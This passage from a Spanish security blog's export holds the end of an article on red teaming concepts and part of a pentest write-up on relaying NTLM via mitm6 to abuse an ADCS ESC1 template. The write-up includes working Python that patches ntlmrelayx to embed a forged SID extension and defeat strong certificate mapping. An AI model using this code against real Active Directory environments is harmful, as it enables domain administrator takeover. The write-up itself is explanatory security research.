pierde la mitad de su sentido no se está midiendo nada. Y sin dirección que entienda los resultados y decida actuar sobre ellos, el informe acaba en un cajón. El Red Teaming aporta valor cuando participa toda la organización: el equipo ofensivo, el defensivo y quien toma las decisiones.\nEn el fondo, todos estos malentendidos comparten la misma raíz: confundir el Red Teaming con un fin (entrar, ganar, lucirse) cuando en realidad es un medio. Un medio para que la organización se conozca mejor y se prepare para el día en que el atacante no sea de mentira.\nDiferencias entre Análisis de Vulnerabilidades vs Penetration Testing vs Red Teaming Estos tres términos se usan a menudo como sinónimos, y no lo son. Confundirlos lleva a contratar lo que no necesitas, o peor, a creer que estás midiendo algo que en realidad no estás midiendo. Vamos a ponerles definición y luego a verlos enfrentados.\nAnálisis de Vulnerabilidades. El NIST lo define como el \u0026ldquo;examen sistemático de un sistema de información o producto para determinar la adecuación de las medidas de seguridad, identificar deficiencias de seguridad, proporcionar datos a partir de los cuales predecir la eficacia de las medidas propuestas y confirmar su adecuación una vez implementadas\u0026rdquo; (NIST SP 800-30). En la práctica: busca, identifica y cataloga fallos. Amplitud por encima de profundidad.\nPenetration Testing. El NIST lo describe como \u0026ldquo;una metodología de prueba en la que los evaluadores, trabajando normalmente bajo restricciones específicas, intentan evadir o derrotar las características de seguridad de un sistema\u0026rdquo; (NIST SP 800-115). Aquí ya no solo se identifica el fallo: se explota para demostrar que es real y hasta dónde permite llegar.\nRed Teaming. El NIST define el ejercicio de Red Team como \u0026ldquo;ejercicio que, reflejando condiciones reales, simula el intento de un adversario por comprometer las misiones o los procesos de negocio de una organización, con el fin de ofrecer una evaluación integral de la capacidad de seguridad del sistema y de la propia organización\u0026rdquo; (CNSSI 4009 / NIST). La palabra clave es organización: ya no se mide un sistema, se mide todo el entorno defensivo.\nLa diferencia se ve mucho mejor enfrentándolos punto por punto:\nAnálisis de Vulnerabilidades Penetration Testing Red Teaming Orientado a Amplitud (cubrir todo) Profundidad de explotación Profundidad + objetivo concreto Qué mide Activos, red o aplicaciones Sistemas y su explotabilidad Todo el entorno: personas, procesos y tecnología Objetivo Identificar vulnerabilidades Demostrar su explotación e impacto Medir el estado real de seguridad Qué consigues Reducir la superficie de ataque Confirmar riesgos reales Entrenar y evaluar la defensa Herramientas Escáneres automáticos Mixtas (auto + manual) A medida, sigilosas, emulando un adversario ¿Lo sabe el Blue Team? Sí Habitualmente sí No (esa es la gracia) Funciones NIST que cubre Identificar, Proteger + Detectar + Responder, Recuperar Esa última fila es la más reveladora. Si la lees de izquierda a derecha, ves cómo cada enfoque cubre una porción mayor del ciclo de vida de la seguridad, las cinco funciones del NIST Cybersecurity Framework: Identificar, Proteger, Detectar, Responder y Recuperar.\nEl Análisis de Vulnerabilidades te dice qué tienes y dónde estás expuesto: vive en Identificar y Proteger. El Pentest añade Detectar: al explotar de verdad, empieza a poner a prueba si algo salta. Pero solo el Red Teaming llega hasta Responder y Recuperar, porque es el único que se hace sin avisar a quien defiende, y por tanto el único que mide lo que de verdad importa cuando hay un incidente real: ¿lo detectan?, ¿reaccionan?, ¿se recuperan?, ¿en cuánto tiempo?\nVolviendo al museo: un análisis de vulnerabilidades es revisar el inventario de cerraduras y apuntar cuáles están flojas. Un pentest es comprobar que esa cerradura floja efectivamente se puede forzar, y abrir la puerta para demostrarlo. El Red Teaming es contratar al ladrón, no decírselo a los guardias, y ver si alguien se da cuenta de que el cuadro ha salido por la puerta principal saludando.\nNinguno sustituye a los otros. Se complementan, y casi siempre en ese orden de madurez.\n¿Qué valor tiene el Red Teaming para la organización? Llegados aquí, la pregunta lógica es: vale, ¿y todo esto para qué me sirve a mí? La respuesta cabe en una frase: el Red Teaming es donde las suposiciones se encuentran con la realidad.\nToda organización funciona sobre dos versiones de sí misma. Está la que cree que es, la del diagrama bonito, la de las políticas escritas, la del \u0026ldquo;esto debería detectarse\u0026rdquo; y está la que es de verdad cuando alguien la ataca en serio. El IS frente al SHOULD-BE.\nEl museo del principio creía estar en su versión should-be: cámaras, guardias, vitrina blindada. Su versión is era un tipo con un mono saliendo por la puerta saludando. El Red Teaming es lo único que te enseña la distancia exacta entre las dos.\nA partir de ahí, el valor se concreta en cosas muy tangibles:\nConocer tu estado real de seguridad. No el que figura en el informe de cumplimiento, sino el que se mide en segundos y minutos: ¿cuánto tardas en detectar una intrusión?, ¿cuánto en responder una vez detectada?, ¿cuánto en recuperarte del todo? Esos tres tiempos valen más que cualquier certificado colgado en la pared, porque son los que de verdad cuentan el día del incidente real.\nEntrenar a las personas, no solo auditar las máquinas. Un ejercicio de Red Team es la única ocasión en la que tu Blue Team y tus empleados se enfrentan a un ataque que se comporta como uno real… sin las consecuencias de uno real. Es el simulacro de incendio: cuando llegue el fuego de verdad, ya habrán pasado por ello. Saben qué botón pulsar, a quién llamar y qué no hacer presa del pánico. Eso no se aprende leyendo un procedimiento.\nEntender el impacto de verdad. Una cosa es decir \u0026ldquo;tenemos una vulnerabilidad crítica en ese servidor\u0026rdquo; y otra muy distinta es ver demostrado que, tirando de ese hilo, alguien llega hasta la base de datos de clientes y se la lleva entera. El Red Teaming traduce el riesgo abstracto en consecuencias concretas: esto es lo que podría pasar, esto es lo que costaría, así es como se vería. Y nada mueve más a la dirección que ver el impacto, no oír hablar de él.\nSaber dónde invertir. Quizá el valor más práctico de todos. El presupuesto de seguridad siempre es limitado, y el mayor desperdicio no es gastar poco, sino gastar en el sitio equivocado. Un ejercicio te muestra, con pruebas, por dónde entran de verdad y qué controles habrían marcado la diferencia.\nEn el fondo, todo se reduce a esto: el Red Teaming convierte el \u0026ldquo;creemos que estamos protegidos\u0026rdquo; en \u0026ldquo;sabemos exactamente dónde estamos\u0026rdquo;. Y desde el conocimiento se toman decisiones mucho mejores que desde la suposición.\n¿Cuándo hacer Red Teaming? Aquí conviene ser honesto: el Red Teaming no es para todo el mundo. O, mejor dicho, no es para todo el mundo todavía.\nHay una cuestión de madurez que no se puede saltar. Contratar un Red Team cuando aún no tienes lo básico cubierto es como contratar al ladrón para que ponga a prueba un museo que ni siquiera ha instalado las cámaras. ¿Para qué? Ya sabes el resultado: va a entrar, y no vas a aprender nada que no supieras. Habrás pagado una cifra considerable para que alguien te confirme lo evidente.\nEl orden natural suele ser este. Primero, Análisis de Vulnerabilidades: saber qué tienes y dónde estás expuesto. Después, Penetration Testing: comprobar qué de eso es explotable de verdad y taparlo. Y cuando esos cimientos están puestos, cuando ya proteges y empiezas a detectar y responder, tiene sentido subir el siguiente escalón y emular a un adversario real.\nEntonces, ¿cuándo está una organización realmente lista? La señal es bastante clara: cuando ya ha implementado capacidades de detección y respuesta y quiere saber si funcionan de verdad frente a un atacante que se comporta como tal. Si tienes un SOC, un EDR, procesos de respuesta a incidentes, gente de guardia… y nunca los has puesto a prueba contra alguien que juega a esconderse, estás en el punto exacto. El Red Teaming es lo que separa el \u0026ldquo;sobre el papel, esto debería saltar\u0026rdquo; del \u0026ldquo;saltó, y reaccionamos en once minutos\u0026rdquo;.\nY un último apunte, que enlaza con algo que ya dijimos: esto no es una auditoría que se pasa una vez y se archiva. El valor no está en el ejercicio aislado, sino en el ciclo que pone en marcha: atacas, aprendes, corriges, refuerzas… y vuelves a atacar para comprobar que esta vez sí. Cada vuelta, la organización es un poco más difícil de comprometer y un poco más rápida reaccionando. El Red Teaming no es una foto del estado de tu seguridad: es el motor que la hace madurar.\nAsí que la pregunta no es \u0026quot;¿puedo permitirme un Red Team?\u0026quot;, sino \u0026quot;¿está mi organización en un punto en el que un ejercicio así me revelaría algo que no sé?\u0026quot;. El día que la respuesta sea sí, ha llegado el momento.\nAproximaciones: Zero Knowledge y Assumed Breach No todos los ejercicios de Red Team empiezan en el mismo sitio. Según desde dónde arranque el atacante, hablamos de dos grandes aproximaciones. No es un detalle técnico menor: condiciona qué se pone a prueba y, sobre todo, en qué se invierte el tiempo.\nZero Knowledge. También llamado de \u0026ldquo;caja negra\u0026rdquo;. El Red Team empieza desde fuera, sin información y sin ningún acceso, igual que un atacante real que acaba de elegir a su víctima. Tiene que hacerlo todo: investigar a la organización, encontrar una grieta, conseguir ese primer punto de entrada y, desde ahí, avanzar hacia el objetivo. Es el escenario más fiel a un ataque real desde cero… pero también el más lento y costoso.\nAssumed Breach. Aquí se parte de una suposición: el atacante ya está dentro. Se le concede un punto de acceso inicial, un portátil de empleado comprometido, unas credenciales válidas, una posición en la red, y el ejercicio arranca desde ahí. En lugar de gastar semanas en cómo entrar, se empieza el día uno trabajando sobre lo que pasa después de entrar.\nY aquí surge la objeción típica: \u0026ldquo;si le regalas el acceso, le estás poniendo las cosas fáciles, eso no vale\u0026rdquo;. Es justo al revés, y vale la pena entender por qué.\nPorque hay una verdad incómoda en seguridad, y no la dice un vendedor de humo: la dijo la propia NSA. En 2010, Debora Plunkett, entonces responsable de la Dirección de Aseguramiento de la Información de la agencia, lo resumió sin rodeos: \u0026ldquo;Ya no existe tal cosa como estar seguro\u0026rdquo;, y por eso \u0026ldquo;tenemos que construir nuestros sistemas asumiendo que los adversarios entrarán\u0026rdquo;. Llegó incluso a advertir que \u0026ldquo;los adversarios más sofisticados van a pasar desapercibidos en nuestras redes\u0026rdquo;.\nSi la agencia con algunos de los mejores recursos del planeta parte de esa premisa, lo razonable es que el resto también lo haga. El atacante, tarde o temprano, entra. Da igual cuánto inviertas en el perímetro: algún usuario terminará haciendo clic donde no debe, alguna credencial se filtrará, algún servicio expuesto tendrá su día malo. Asumir que nadie va a entrar nunca no es una estrategia, es una ilusión. La pregunta de verdad importante no es si entrarán, sino qué pasa cuando lo hagan: ¿hasta dónde pueden llegar?, ¿cuánto tardas en darte cuenta?, ¿pueden pasar del portátil de recepción al control total del dominio?\nPor eso dar por hecho el acceso inicial no resta valor al ejercicio: lo concentra donde más importa. El valor está en el tiempo, y el tiempo es limitado. Gastarlo entero en demostrar, una vez más, que se puede conseguir un primer acceso, algo que ya sabemos que ocurre, es desaprovecharlo. Es mucho más útil invertirlo en lo crítico: el movimiento lateral, la escalada de privilegios, llegar al \u0026ldquo;cuadro\u0026rdquo; y, mientras tanto, medir si la defensa se entera de algo.\nHay además una conclusión potente escondida aquí. Si en un ejercicio de Assumed Breach el Red Team alcanza sus objetivos partiendo de un acceso pequeño, eso significa que cualquiera que consiga ese primer pie dentro puede comprometer la organización entera. Y conseguir ese primer pie, ya lo hemos dicho, es solo cuestión de tiempo. Eso es una conclusión accionable; \u0026ldquo;no lograron entrar desde fuera en dos semanas\u0026rdquo; no lo es tanto.\nVolviendo al museo una última vez: el Zero Knowledge es ver si el ladrón consigue colarse en el edificio. El Assumed Breach es algo más interesante, dar por hecho que ya está dentro, vestido de limpieza, y preguntarse lo que de verdad importa: una vez dentro, ¿qué le impide salir con el cuadro?\n¿Cómo se mide el éxito de un ejercicio? Si has llegado hasta aquí, ya intuyes que la pregunta \u0026quot;¿entraron o no?\u0026quot; es la peor vara de medir posible. Y sin embargo es la primera que casi todo el mundo formula al terminar un ejercicio.\nPorque el éxito de un Red Team no se mide por si comprometieron la organización. Eso, a estas alturas del artículo, ya lo damos por descontado: con tiempo suficiente, lo harán. Medir el ejercicio por el \u0026ldquo;sí entraron\u0026rdquo; es como juzgar un simulacro de incendio por si el fuego prendió. Claro que prendió, lo encendimos a propósito. La pregunta es qué pasó después.\nLo que de verdad cuenta es esto:\nEl impacto demostrado. No es lo mismo \u0026ldquo;llegaron a un servidor sin importancia\u0026rdquo; que \u0026ldquo;llegaron a la base de datos de clientes y demostraron que podían exfiltrarla entera\u0026rdquo;. El valor de un ejercicio está en cuánto daño real fue capaz de probar: hasta dónde se llegó y qué habría supuesto para el negocio. El impacto traduce el ejercicio a un idioma que la dirección entiende.\nLos objetivos: cuáles, y sobre todo cómo. Antes del ejercicio se fijaron unas metas concretas, el \u0026ldquo;cuadro\u0026rdquo;. ¿Se alcanzaron? Pero la pregunta más importante no es si, sino cómo: por qué camino, aprovechando qué fallo, qué controles se evadieron y cuáles, de haber funcionado, lo habrían frenado.\nLa detección y la reacción de la defensa. Aquí está el corazón del asunto, y es donde volvemos a la sala de cámaras del museo: las imágenes estaban ahí, mostrando el robo en directo, pero la sala estaba vacía. Tener la capacidad no sirve de nada si nadie la usa. Por eso lo que de verdad se mide es la respuesta del Blue Team: ¿detectaron algo?, ¿qué exactamente y qué pasó desapercibido?, ¿cuánto tardaron en darse cuenta?, ¿reaccionaron bien o cundió el pánico? Un ejercicio en el que el Red Team alcanza todos sus objetivos pero el Blue los detecta y los expulsa a mitad de camino es, en realidad, una buena noticia.\nLos datos accionables. Y todo lo anterior tiene que aterrizar en algo concreto y ejecutable. Un buen ejercicio no termina con un \u0026ldquo;os hemos ganado\u0026rdquo;, sino con una lista clara de qué cambiar, en qué orden y por qué. Si al cerrar el informe la organización no sabe exactamente qué hacer el lunes por la mañana, el ejercicio ha fallado por mucho que fuera técnicamente brillante.\nEn el fondo, medir bien un Red Team es invertir la pregunta. No \u0026quot;¿consiguió entrar el atacante?\u0026quot; (spoiler: sí), sino \u0026quot;¿qué tan preparados estábamos para el día en que ese atacante sea real?\u0026quot;. Esa es la única métrica que de verdad importa. Todo lo demás es marcar la casilla.\n¿Qué es el Purple Team? Antes de cerrar conviene aclarar un término que se cruza constantemente con todo esto y que genera bastante confusión: el Purple Team.\nLo primero, lo más importante: el Purple Team no es un tercer tipo de ejercicio, ni una alternativa al Red Team. No eliges entre \u0026ldquo;hacer un Red Team\u0026rdquo; o \u0026ldquo;hacer un Purple Team\u0026rdquo;. Es, más bien, una capa de colaboración que puede sumarse a cualquier ejercicio para multiplicar lo que se aprende de él.\n¿Y en qué consiste en la práctica? En sentar a las dos partes en la misma sala. El Red Team ejecuta una técnica y, en el momento, se comprueba qué vio el Blue Team: ¿saltó alguna alerta?, ¿en qué consola?, ¿con qué nivel de detalle? Si no se detectó nada, se ajusta la defensa allí mismo y se vuelve a intentar para confirmar que ahora sí salta.\nEl valor está en dos cosas:\nCompartir inteligencia, en ambas direcciones. El Red Team enseña cómo se comporta realmente un adversario, qué herramientas usa, qué huellas deja, por dónde se mueve, y el Blue Team enseña qué se ve y qué no desde el otro lado de las pantallas. Cada uno aprende del conocimiento del otro. El beneficio es bidireccional, y por eso suele dejar más poso formativo que un ejercicio a ciegas.\nComparar lo ejecutado contra lo detectado. Esta es la métrica estrella del Purple Team: poner una al lado de otra la lista de acciones que realizó el Red Team y la de acciones que detectó el Blue Team. Los huecos entre ambas, lo que ocurrió pero nadie vio, son, literalmente, el mapa de los puntos ciegos de tu detección. No hay forma más directa de saber dónde están las lagunas de visibilidad.\nDicho de otro modo: si un Red Team clásico te dice cómo de bien estás preparado para un ataque real, el enfoque Purple te ayuda además a cerrar las brechas sobre la marcha, convirtiendo cada acción del ejercicio en una lección inmediata para la defensa. Por eso, más que una alternativa, es un valor añadido que casi siempre merece la pena considerar.\nConclusiones Empezamos con un museo que se creía inexpugnable y terminó viendo cómo su obra más valiosa salía por la puerta principal, a plena luz del día, escondida bajo unos trapos. No falló la tecnología: fallaron las personas que no miraban y los procesos que dejaban llaves colgadas. Y, sobre todo, falló una idea: la de creerse seguro sin haberlo comprobado nunca.\nSi hay algo que llevarse de todo esto, son tres cosas.\nLa primera: incorpora la mirada del adversario. No se puede diseñar una buena defensa pensando solo como defensor. Hay que sentarse en la silla del que ataca y preguntarse en serio cómo entraría, qué buscaría y por dónde iría. Un plan de seguridad construido sin esa perspectiva defiende la puerta principal mientras alguien entra por el conducto del aire vestido de mantenimiento. El Red Teaming es, ante todo, esa mirada: pensar como el adversario para anticipar la amenaza antes de que sea real.\nLa segunda: entiende qué te aporta de verdad, y úsalo. El Red Teaming no es ganar, ni entrar, ni lucirse. Es un medio para conocerte mejor: para saber cuánto tardas en detectar, cómo reaccionas, dónde están tus puntos ciegos y en qué merece la pena invertir. Pero toda esa información no vale nada si acaba en un cajón. El valor no está en el ejercicio, sino en lo que la organización hace con sus conclusiones el lunes por la mañana.\nLa tercera: desconfía de las suposiciones. \u0026ldquo;Si el usuario no hace clic, no hay intrusión.\u0026rdquo; \u0026ldquo;Tenemos un EDR, estamos cubiertos.\u0026rdquo; \u0026ldquo;Cumplimos la ISO, somos seguros.\u0026rdquo; Todos estos mitos comparten la misma raíz: confundir lo que debería pasar con lo que pasa de verdad. Hasta la NSA asume que el adversario entrará. La pregunta nunca es si estás seguro sobre el papel, sino si lo estás cuando alguien lo pone a prueba en serio.\nY esa es, al final, toda la idea. La mejor forma de saber si tu museo aguanta no es admirar lo gruesa que es la vitrina. Es contratar al ladrón , uno de los buenos, uno que juega en tu equipo y dejar que lo intente. Mejor descubrir el conducto del aire abierto con él, que con el que no devuelve el cuadro.\nPorque el atacante real, ese, no avisa. Y desde luego no se despide saludando.\nEsta vez sí lo pillan. Mismo ladrón, mejores arneses… pero ahora hay detección y respuesta: los láseres saltan, el SOC mira las cámaras y los guardias reaccionan. Las medidas aprendidas en el Red Team, funcionando.\nReferencias Vest, J. \u0026amp; Tubberville, J. — Red Team Development and Operations: A Practical Guide. (Definición de Red Teaming + marco general del artículo.)\nNIST — Definiciones de Análisis de Vulnerabilidades (SP 800-30), Penetration Testing (SP 800-115) y Red Team Exercise (CNSSI 4009). Funciones del NIST Cybersecurity Framework: Identificar, Proteger, Detectar, Responder, Recuperar.\nDebora Plunkett (NSA) — Foro de ciberseguridad de The Atlantic / Government Executive, 16 dic 2010. \u0026ldquo;There\u0026rsquo;s no such thing as secure anymore\u0026rdquo; / \u0026ldquo;We have to build our systems on the assumption that adversaries will get in.\u0026rdquo; eWeek — NSA: Assume Attackers Will Compromise Networks\nRobo al Banco Central de Bangladesh (grupo Lazarus, 2016) — BBC News, The Lazarus heist: How North Korea almost pulled off a billion-dollar hack (2021): bbc.com. Atribución oficial en la acusación del Departamento de Justicia de EE. UU. (2021): justice.gov.\n","permalink":"https://josupalacios99.github.io/blog/posts/red-teaming-pensar-como-el-adversario/","summary":"Qué es (y qué no es) el Red Teaming, en qué se diferencia de un análisis de vulnerabilidades y un pentest, cuándo tiene sentido y cómo se mide su éxito.","title":"Red Teaming: pensar como el adversario para anticipar la amenaza"},{"content":"El escenario Pongamos el caso concreto que originó todo esto. En un ejercicio nos encontramos una plantilla de certificado vulnerable a ESC1: permitía que el solicitante especificara un Subject Alternative Name arbitrario (ENROLLEE_SUPPLIES_SUBJECT) y servía para autenticación de cliente. El guion de ESC1 es de sobra conocido: pides un certificado poniendo en el SAN el UPN del Administrador del dominio y, con ese certificado, te autenticas como él para sacar su TGT y su hash NT.\nSolo había un problema. La CA restringía quién podía solicitar sobre esa plantilla: los permisos de enrollment no estaban abiertos a Domain Users, sino limitados a un grupo concreto, y no teníamos la contraseña ni el hash de ninguna cuenta de ese grupo. La plantilla era explotable, pero no teníamos con qué pedir el certificado.\nAquí entra el relay. Si no puedes pedir el certificado tú, que lo pida por ti alguien que sí puede. Con mitm6 envenenamos la resolución IPv6/DNS del segmento para colocarnos en medio y capturar la autenticación NTLM de una cuenta con permisos de enrollment; esa autenticación se retransmite contra la CA y se solicita, en su nombre, un certificado con el SAN del Administrador. Abusar de ADCS para escalar en Active Directory es parte del repertorio estándar desde Certified Pre-Owned, la investigación de Will Schroeder y Lee Christensen que catalogó estas vías de abuso, las hoy conocidas como ESC.\nLo que sí ha cambiado es el terreno. Microsoft lleva tiempo endureciendo la vinculación entre certificados y cuentas de AD, y técnicas que funcionaban perfectamente hace un año hoy devuelven errores que no son obvios de interpretar. El que nos ocupó en este caso fue este:\nEl certificado llegó. La CA lo emitió. El PFX está en disco. Pero la autenticación falla.\nKB5014754 y el endurecimiento del mapeado de certificados Para entender el error hay que entender qué cambió. En mayo de 2022, Microsoft publicó KB5014754, una actualización que modifica cómo los controladores de dominio mapean un certificado a una cuenta de usuario durante la autenticación Kerberos por PKINIT.\nEl mapeado clásico era débil por diseño: el DC tomaba el UPN del campo subjectAltName del certificado y buscaba en AD la cuenta cuyo userPrincipalName coincidiera. Ese proceso no verifica que la cuenta que se autentica sea realmente la que figura en el certificado; solo busca por nombre. El vector de ataque es directo: si consigues que la CA emita un certificado con SAN: UPN=Administrador@corp.local, puedes autenticarte como Administrador aunque la CA te lo entregara porque eras otro usuario con permisos de enrollment.\nKB5014754 introduce un mecanismo de mapeado fuerte. Cuando está activo, el DC exige que el certificado contenga el SID de la cuenta que lo va a usar, incrustado en una extensión propietaria de Microsoft. Si el SID no está, o si no coincide con el SID real de la cuenta en AD, la autenticación se rechaza. El comportamiento exacto depende del valor del atributo StrongCertificateBindingEnforcement en el DC:\n0: sin enforcement, mapeado débil, comportamiento pre-KB5014754. 1: modo compatibilidad, acepta sin SID pero emite un evento de auditoría. 2: enforcement completo, rechaza si el SID no está o no coincide. Desde febrero de 2025, el valor por defecto en los DCs actualizados es 2. En la práctica, cualquier entorno con sus DCs al día aplica enforcement completo.\ncertipy v5, publicado por Oliver Lyak en 2024, añadió su propia validación del SID antes de enviar la petición al KDC. El error \u0026ldquo;Object SID mismatch\u0026rdquo; que vemos arriba es la comprobación local de certipy, que detecta que el certificado no contiene la extensión con el SID y aborta antes de hacer la llamada de red. El comportamiento es correcto: si el cert llega sin SID al DC, el DC lo rechazaría igualmente. certipy simplemente falla más rápido y con un mensaje más claro.\nLa extensión que falta La extensión que resuelve el problema tiene el OID 1.3.6.1.4.1.311.25.2, llamada szOID_NTDS_CA_SECURITY_EXT en la nomenclatura de Microsoft. Contiene el SID del sujeto del certificado codificado como una estructura ASN.1 anidada.\nLa jerarquía ASN.1 de la extensión es esta:\n1 2 3 4 5 6 7 8 9 10 11 12 13 Extension { extnID: OID(1.3.6.1.4.1.311.25.2) extnValue: OCTET STRING { GeneralNames ::= SEQUENCE { GeneralName ::= [0] CONSTRUCTED { -- otherName type-id: OID(1.3.6.1.4.1.311.25.2.1) -- NTDS_OBJECTSID value: [0] EXPLICIT { OCTET STRING(SID en UTF-8) } } } } } El OID 1.3.6.1.4.1.311.25.2.1 es szOID_NTDS_OBJECTSID. La parte inesperada es el valor: no es el SID en formato binario, sino la representación en cadena de texto (S-1-5-21-...) codificada como UTF-8 dentro de un OCTET STRING. Esto puede comprobarse volcando un certificado emitido por una CA de Windows, y es la misma codificación que usan herramientas como Certify o Certipy.\nEn un enrollment normal es la propia CA quien genera esta extensión a partir del solicitante autenticado, no el cliente. El ataque depende de un matiz de configuración: en el escenario analizado la CA copia la extensión szOID_NTDS_CA_SECURITY_EXT desde el CSR al certificado emitido sin verificar que el SID corresponda a la cuenta autenticada. Esa falta de validación es precisamente la que hace viable el ataque. Conviene dejarlo claro: no es que KB5014754 se pueda eludir de forma general, sino que esta CA confía en un valor que debería generar ella misma. Cuando el DC recibe ese certificado durante PKINIT, extrae el SID de la extensión y verifica que coincida con el SID de la cuenta que intenta autenticarse.\nPor qué ntlmrelayx no la incluye ntlmrelayx tiene dos rutas de ataque ADCS:\nHTTP (ESC8): a través de httpattacks/adcsattack.py, que retransmite la autenticación NTLM contra el endpoint web de la CA (/certsrv/certfnsh.asp). RPC (ESC11): a través de rpcattack.py, que usa el protocolo MS-ICPR sobre DCE/RPC directamente contra la interfaz IcertPassage. En ambos casos, la generación del CSR recae en ADCSAttack.generate_csr():\n1 2 3 4 5 6 7 8 9 10 11 12 13 @staticmethod def generate_csr(key, CN, altName, csr_type=crypto.FILETYPE_PEM): req = crypto.X509Req() if CN: req.get_subject().CN = CN if altName: req.add_extensions([crypto.X509Extension( b\u0026#34;subjectAltName\u0026#34;, False, b\u0026#34;otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b\u0026#34; % altName.encode() )]) req.set_pubkey(key) req.sign(key, \u0026#34;sha256\u0026#34;) return crypto.dump_certificate_request(csr_type, req) Usa pyOpenSSL para construir el CSR. El problema no es que OpenSSL sea incapaz de codificar el OID (codifica OIDs arbitrarios sin problema), sino que la API de alto nivel de pyOpenSSL para extensiones de CSR es muy limitada: no permite construir una extensión con la estructura ASN.1 anidada que exige szOID_NTDS_CA_SECURITY_EXT, un OID propietario de Microsoft fuera del estándar X.509.\nEl resultado: ntlmrelayx obtiene el certificado, la CA lo emite con el UPN correcto en el SAN, pero sin la extensión 1.3.6.1.4.1.311.25.2. El DC lo rechaza porque no hay SID. certipy lo rechaza antes incluso de llegar al DC.\nLa solución: codificación DER manual + UnrecognizedExtension La librería cryptography (distinta de pyOpenSSL, aunque conviven en el mismo entorno) ofrece x509.UnrecognizedExtension, que permite incluir cualquier extensión arbitraria en un CSR o certificado pasando los bytes DER directamente. No depende de la API de alto nivel: nosotros construimos la estructura ASN.1 a mano y la librería la incrusta tal cual.\nPara usarla hay que construir el CertificateSigningRequest con cryptography en lugar de con pyOpenSSL, y codificar el valor de la extensión a mano.\nLa codificación DER de TLV (Tag-Length-Value) es mecánica. Una función auxiliar mínima:\n1 2 3 4 5 6 7 8 def _tlv(tag, value): n = len(value) if n \u0026lt; 0x80: return bytes([tag, n]) + value elif n \u0026lt; 0x100: return bytes([tag, 0x81, n]) + value else: return bytes([tag, 0x82, (n \u0026gt;\u0026gt; 8) \u0026amp; 0xff, n \u0026amp; 0xff]) + value Y para codificar OIDs, donde el primer componente se comprime como 40 * a + b y el resto se codifica en base 128 con el bit alto activado en todos los octetos excepto el último:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def _oid_encode(oid_str): parts = [int(x) for x in oid_str.split(\u0026#39;.\u0026#39;)] first = 40 * parts[0] + parts[1] def arc(n): if n \u0026lt; 128: return bytes([n]) r = [] while n: r.insert(0, n \u0026amp; 0x7f) n \u0026gt;\u0026gt;= 7 for i in range(len(r) - 1): r[i] |= 0x80 return bytes(r) c = arc(first) for p in parts[2:]: c += arc(p) return _tlv(0x06, c) Con esas dos primitivas, la extensión SID queda:\n1 2 3 4 5 6 7 8 9 10 def _encode_sid_ext(sid): \u0026#34;\u0026#34;\u0026#34; Codifica el valor de szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). Estructura: GeneralNames → OtherName[NTDS_OBJECTSID] → [0] EXPLICIT { OCTET STRING(sid) } \u0026#34;\u0026#34;\u0026#34; oct_s = _tlv(0x04, sid.encode(\u0026#39;utf-8\u0026#39;)) # OCTET STRING val = _tlv(0xa0, oct_s) # [0] EXPLICIT oid = _oid_encode(\u0026#34;1.3.6.1.4.1.311.25.2.1\u0026#34;) # NTDS_OBJECTSID on = _tlv(0xa0, oid + val) # [0] CONSTRUCTED (OtherName) return _tlv(0x30, on) # GeneralNames SEQUENCE Y el UPN en el SAN, que también hay que recodificar manualmente cuando se usa el builder de cryptography:\n1 2 3 4 5 6 def _encode_upn_san(upn): utf8 = _tlv(0x0c, upn.encode(\u0026#39;utf-8\u0026#39;)) # UTF8String val = _tlv(0xa0, utf8) # [0] EXPLICIT oid = _oid_encode(\u0026#34;1.3.6.1.4.1.311.20.2.3\u0026#34;) # msUPN on = _tlv(0xa0, oid + val) # [0] CONSTRUCTED (OtherName) return _tlv(0x30, on) # GeneralNames SEQUENCE La versión parcheada de generate_csr mantiene la ruta original sin SID intacta y añade una ruta alternativa cuando se proporciona el parámetro altSid:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 @staticmethod def generate_csr(key, CN, altName, csr_type=crypto.FILETYPE_PEM, altSid=None): LOG.info(\u0026#34;Generating CSR...\u0026#34;) if altSid is None: # Ruta original — pyOpenSSL, sin extensión SID req = crypto.X509Req() if CN: req.get_subject().CN = CN if altName: req.add_extensions([crypto.X509Extension( b\u0026#34;subjectAltName\u0026#34;, False, b\u0026#34;otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b\u0026#34; % altName.encode() )]) req.set_pubkey(key) req.sign(key, \u0026#34;sha256\u0026#34;) return crypto.dump_certificate_request(csr_type, req) # Ruta con SID — cryptography + UnrecognizedExtension private_key = key.to_cryptography_key() builder = x509.CertificateSigningRequestBuilder() builder = builder.subject_name(x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, CN or \u0026#34;\u0026#34;) ])) if altName: builder = builder.add_extension( x509.UnrecognizedExtension( oid=ObjectIdentifier(\u0026#34;2.5.29.17\u0026#34;), value=_encode_upn_san(altName) ), critical=False ) builder = builder.add_extension( x509.UnrecognizedExtension( oid=ObjectIdentifier(\u0026#34;1.3.6.1.4.1.311.25.2\u0026#34;), value=_encode_sid_ext(altSid) ), critical=False ) csr = builder.sign(private_key, hashes.SHA256(), default_backend()) if csr_type == crypto.FILETYPE_PEM: return csr.public_bytes(Encoding.PEM) else: return csr.public_bytes(Encoding.DER) Dos puntos a notar. Primero, key.to_cryptography_key() convierte la clave pyOpenSSL a un objeto cryptography, que es lo que espera el builder. El tipo de clave es compatible; solo cambia el wrapper. Segundo, x509.UnrecognizedExtension en cryptography \u0026gt;= 36.0 se puede usar en CSRs además de en certificados. La versión en el entorno de impacket (pipx) es 46.x, así que no hay problema de compatibilidad.\nLa mecánica de inyección del parche (durante el desarrollo) Antes de integrar el cambio en el fork, había que validar el parche contra una instalación real de impacket sin tocar sus ficheros. La forma más rápida de probarlo fue inyectar la clase parcheada en tiempo de ejecución. Lo dejo documentado porque es una técnica útil para iterar sobre cualquier ataque de ntlmrelayx sin reinstalar nada.\nEl punto más delicado no es el código en sí sino dónde colgarlo. attacks/__init__.py de ntlmrelayx importa dinámicamente todos los módulos del directorio en el arranque y registra las clases de ataque en el diccionario PROTOCOL_ATTACKS. Esto hace que un simple monkey-patch tardío de sys.modules no sea suficiente: el diccionario ya tiene la clase original registrada antes de que podamos sustituirla.\nLa solución limpia: dejar que el arranque normal de ntlmrelayx ocurra, esperar a que PROTOCOL_ATTACKS esté poblado, y entonces reemplazar la entrada 